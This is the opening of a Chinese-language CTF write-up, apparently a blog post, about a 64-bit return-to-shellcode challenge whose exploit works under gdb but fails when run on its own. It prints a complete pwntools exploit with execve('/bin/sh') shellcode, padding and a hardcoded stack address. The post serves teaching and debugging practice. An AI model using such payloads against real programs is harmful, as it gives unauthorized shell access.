Debug Linux Binary Using Core Dump
(本篇文環境都使用 Ubuntu 18.04.6 LTS 進行測試) 在一次打 pwn 的經驗中,我發現了一件奇怪的事情,題目檔案沒有開 NX、Canary、PIE,機器也沒有開啟 ASLR。這題題目需要打 64Bit 的 Return to Shell Code,簡而言之,題目會透過讀檔的方式讀取一個寫好 Payload 的檔案,並執行 strcpy。這個 Exploit 就是 Padding + Return Address + Shell Code,而 Return Address 就是 Stack 上面寫的 Shell code,聽起來是一個很簡單的題目。 Exploit 如下 from pwn import * shellcode = b"H\xb8/bin/sh\x00PH\x89\xe7H1\xf6H1\xd2H\xc7\xc0;\x00\x00\x00\x0f\x05" payload = flat( b'a'*40, p64(0x7fffffffddb0), shellcode ) with open("badfile","wb") as f: f.write(payload) 關於 Return Address,當然就是使用 gdb 下段點進去找,但奇怪的事情就發生了! 這個 Exploit Code 在 gdb 開啟的狀態下可以正常運作,但是程式獨立執行時卻會噴 Error,透過 pwntools 的 process 叫起來也一樣會爛掉。 ...